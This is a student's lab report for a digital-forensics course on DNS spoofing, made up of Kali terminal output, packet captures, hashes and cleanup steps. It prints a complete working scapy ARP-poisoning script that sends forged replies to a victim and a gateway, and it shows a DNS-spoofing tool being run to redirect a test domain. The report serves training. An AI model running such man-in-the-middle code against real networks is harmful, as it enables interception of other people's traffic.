

Lab Title:- DNS SPOOFING FORENSICS

Student Name:- BADAMASI MUNTAKA MUHAMMAD

Student ID:- 2025FWSD11563

Course Name:- BASIC NETWORKING SKILLS FOR DIGITAL FORENSICS

Instructor Name:- COMMANDANT AMINU IDRIS

Date Of Submission:- 24/09/2026

Executive summary

The lab covers a hands on practical on dns spoofing forensics.

Lab Objectives

The objectives of the lab is to have a well basic understanding of dns spoofing fornesic

Tools and Resources Used

- Kali linux:- A penetration testing platform used for security assessments.

Kali linux tools

- Apache2:- this is the Apache HyperText Transfer Protocol (HTTP) server program that is designed to be run as a standalone daemon process.
 - tshark:- Dump and analyze network traffic
 - Wireshark:- is a GUI network protocol analyzer that lets you interactively browse packet data from a live network or from a previously saved capture file.
 - sha256sum:- Print/compute or check SHA256 (256-bit) checksums message digest.
 - Python 3 scapy:- Interactive packet manipulation tool
-

Screenshot and Evidence

SCREENSHOT SHOWING THE HARMLESS TRAINING PAGE AND HASH.

```
(kali㉿kali)-[~/SBT-DF203-Lab8]
$ printf '<!DOCTYPE html>\n<html><body style="font-family:Arial"><h1>ICDFA DNS Spoofing Training Page</h1><p>This is an authorized simulation. Do not enter credentials.</p><p>Analyst: YOUR NAME</p></body></html>\n' | sudo tee /var/www/html/index.html
<!DOCTYPE html>
<html><body style="font-family:Arial"><h1>ICDFA DNS Spoofing Training Page</h1><p>This is an authorized simulation. Do not enter credentials.</p><p>Analyst: YOUR NAME
</p></body></html>

(kali㉿kali)-[~/SBT-DF203-Lab8]
$ sha256sum /var/www/html/index.html | tee reports/training_page_sha256.txt
996ad035a8e146a61eced04db274ec6073309378a41c9e3256d0aab9d2a2df41 /var/www/html/index.html

(kali㉿kali)-[~/SBT-DF203-Lab8]
```

SCREENSHOT SHOWING THE BASELINE ARP TABLE AND DNS RESPONSE.

```
(kali㉿kali)-[~/SBT-DF203-Lab8]
$ ip -br address | tee reports/interfaces.txt
lo                UNKNOWN      127.0.0.1/8 ::1/128
eth0              UP            192.168.0.117/24 fe80::46be:fc38:4b6f:704c/64
lxcbr0            DOWN        10.0.3.1/24 fc42:5009:ba4b:5ab0::1/64

(kali㉿kali)-[~/SBT-DF203-Lab8]
$ ip route | tee reports/routes.txt
default via 192.168.0.1 dev eth0 proto dhcp src 192.168.0.117 metric 100
10.0.3.0/24 dev lxcbr0 proto kernel scope link src 10.0.3.1 linkdown
192.168.0.0/24 dev eth0 proto kernel scope link src 192.168.0.117 metric 100

(kali㉿kali)-[~/SBT-DF203-Lab8]
$ ip neigh show | tee reports/arp_before.txt
192.168.0.1 dev eth0 lladdr 98:a9:42:47:f1:f5 STALE
fe80::a00:27ff:fe55:4407 dev eth0 lladdr 08:00:27:55:44:07 STALE
fe80::f406:b0ff:fe53:f4b3 dev eth0 lladdr f6:06:b0:53:f4:b3 STALE

(kali㉿kali)-[~/SBT-DF203-Lab8]
```

SCREENSHOT SHOWING THE REVIEWED SCRIPT TARGET/DOMAIN SETTINGS.

```
(kali@kali) Use the command line
$ sed -n 1,240p scripts/arp.py | tee reports/arp_script_review.txt
#!/usr/bin/env python3
# ICDFA SBT-DF203 Lab 8 - authorized host-only ARP simulation
# Usage: sudo python3 arp.py <VICTIM_IP> <GATEWAY_IP>

import ipaddress
import sys
import time
from scapy.all import ARP, Ether, conf, get_if_hwaddr, getmacbyip, sendp

def lab_ip(value):
    ip = ipaddress.ip_address(value)
    if not (ip.is_private or ip.is_link_local):
        raise ValueError("Refusing non-private/non-link-local IP: " + value)
    return str(ip)

if len(sys.argv) != 3:
    print("Usage: sudo python3 arp.py <VICTIM_IP> <GATEWAY_IP>")
    sys.exit(2)

try:
    victim_ip = lab_ip(sys.argv[1])
    gateway_ip = lab_ip(sys.argv[2])
except ValueError as exc:
    print("[!] " + str(exc))
    sys.exit(1)

iface = conf.iface
attacker_mac = get_if_hwaddr(iface)
victim_mac = getmacbyip(victim_ip)
gateway_mac = getmacbyip(gateway_ip)

if not victim_mac or not gateway_mac:
    print("[!] Could not resolve victim/gateway MAC address.")
    sys.exit(1)

print("[+] Interface:", iface)
print("[+] Analyst MAC:", attacker_mac)
print("[+] Victim:", victim_ip, "/", victim_mac)
print("[+] Gateway:", gateway_ip, "/", gateway_mac)
print("[+] Lab-only ARP simulation started. Press Ctrl+C to stop.")
```

```

print("[+] Victim:", victim_ip, "/", victim_mac)
print("[+] Gateway:", gateway_ip, "/", gateway_mac)
print("[+] Lab-only ARP simulation started. Press Ctrl+C to stop.")

def arp_claim(target_ip, target_mac, claimed_ip):
    pkt = Ether(dst=target_mac) / ARP(
        op=2, psrc=claimed_ip, pdst=target_ip,
        hwsrc=attacker_mac, hwdst=target_mac
    )
    sendp(pkt, iface=iface, verbose=False)

try:
    while True:
        arp_claim(victim_ip, victim_mac, gateway_ip)
        arp_claim(gateway_ip, gateway_mac, victim_ip)
        time.sleep(2)
except KeyboardInterrupt:
    print("\n[+] Simulation stopped.")
    print("[!] Restore the original ARP state before leaving the lab.")

(kali@kali)~[~/SBT-DF203-Lab8]

```

SCREENSHOT SHOWING THE CONTROLLED CAPTURE HASH.

```

(kali@kali)~[~/SBT-DF203-Lab8]
$ sudo tshark -i eth0 \
-f 'host 192.168.0.106 and (arp or port 53 or tcp port 80)' \
-a duration:30 \
> evidence/dns_baseline.pcapng
Running as user "root" and group "root". This could be dangerous.
Capturing on 'eth0'
21

(kali@kali)~[~/SBT-DF203-Lab8]
$ sha256sum evidence/dns_baseline.pcapng | tee reports/dns_baseline_sha256.txt
9dfb48bc0247d627d3a6b35ff7c22ccef0e978d9c69eea5f2d3d452ac199e738 evidence/dns_baseline.pcapng

(kali@kali)~[~/SBT-DF203-Lab8]

```

SCREENSHOT SHOWING THE VICTIM HTTP CONNECTION TO REPLACEMENT IP.

```

^C[analyst@secOps ~]$ sudo python3 scripts/dns_spoof.py --victim-ip 192.168.0.
106 --domain portal.icdfa.test --replacement-ip 192.168.0.117
[+] Victim: 192.168.0.106
[+] Training domain: portal.icdfa.test
[+] Replacement IP: 192.168.0.117
[+] Waiting for matching DNS queries. Press Ctrl+C to stop.

```

SCREENSHOT SHOWING THE CLEANUP, RESTORED ARP AND NO REMAINING PROCESSES.

```
(kali@kali)-[~/SBT-DF203-Lab8]
$ sudo pkill -f 'arp.py' 2>/dev/null || true

(kali@kali)-[~/SBT-DF203-Lab8]
$ sudo pkill -f 'dns_spoof.py' 2>/dev/null || true

(kali@kali)-[~/SBT-DF203-Lab8]
$ sudo sysctl -w net.ipv4.ip_forward=0

net.ipv4.ip_forward = 0

(kali@kali)-[~/SBT-DF203-Lab8]
$ sudo iptables -L -n -v --line-numbers | tee reports/iptables_after_cleanup.txt
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
num  pkts bytes target    prot opt in     out     source destination
Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
num  pkts bytes target    prot opt in     out     source destination
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
num  pkts bytes target    prot opt in     out     source destination

(kali@kali)-[~/SBT-DF203-Lab8]
$ sudo ip neigh flush al
Error: any valid prefix is expected rather than "al".

(kali@kali)-[~/SBT-DF203-Lab8]
$ sudo ip neigh flush all

(kali@kali)-[~/SBT-DF203-Lab8]
$ ip neigh show | tee reports/arp_after_cleanup.txt

(kali@kali)-[~/SBT-DF203-Lab8]
$ ps aux | grep -E '[a]rp.py|[d]ns_spoof.py' | tee reports/process_cleanup_check.txt

(kali@kali)-[~/SBT-DF203-Lab8]
```

Conclusion

In conclusion the lab has help in understanding DNS spoofing and how to conduct analysis on dns spoofing attack.

Reference

➤ICDFA course Material (SBT-DF203(basic networking skills for digital forensics)- by COMMANDANT AMINU IDRIS

➤ICDFA Recorded sessions
